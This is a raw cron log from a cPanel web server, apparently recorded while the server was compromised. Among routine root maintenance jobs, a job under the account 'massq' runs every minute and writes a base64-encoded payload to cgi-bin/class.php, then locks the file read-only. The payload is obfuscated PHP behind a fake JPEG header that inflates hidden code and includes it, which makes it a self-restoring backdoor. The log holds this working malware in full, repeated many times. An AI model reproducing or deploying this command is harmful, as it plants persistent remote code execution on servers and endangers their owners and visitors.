Sep 11 07:44:01 server CROND[12666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:45:01 server CROND[13067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:45:01 server CROND[13068]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:45:01 server CROND[13073]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:45:01 server CROND[13071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:45:01 server CROND[13074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:45:01 server CROND[13075]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:45:01 server CROND[13072]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:46:01 server CROND[14007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:46:01 server CROND[14009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:46:01 server CROND[14008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:47:01 server CROND[14396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:47:01 server CROND[14398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:47:01 server CROND[14397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:48:01 server CROND[14777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:48:01 server CROND[14778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:48:01 server CROND[14779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:49:01 server CROND[15161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:49:01 server CROND[15162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:49:01 server CROND[15163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:50:01 server CROND[15572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:50:01 server CROND[15573]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:50:01 server CROND[15575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:50:01 server CROND[15574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:50:01 server CROND[15578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:50:01 server CROND[15581]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 07:50:01 server CROND[15577]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:50:01 server CROND[15576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:50:01 server CROND[15579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:51:01 server CROND[16514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:51:01 server CROND[16515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:51:01 server CROND[16516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:52:01 server CROND[16894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:52:01 server CROND[16895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:52:01 server CROND[16896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:53:01 server CROND[17283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:53:01 server CROND[17284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:53:01 server CROND[17285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:54:01 server CROND[17669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:54:01 server CROND[17668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:54:01 server CROND[17670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:55:01 server CROND[18062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:55:01 server CROND[18064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:55:01 server CROND[18070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:55:01 server CROND[18072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:55:01 server CROND[18076]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:55:01 server CROND[18073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:55:01 server CROND[18080]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:56:01 server CROND[19060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:56:01 server CROND[19059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
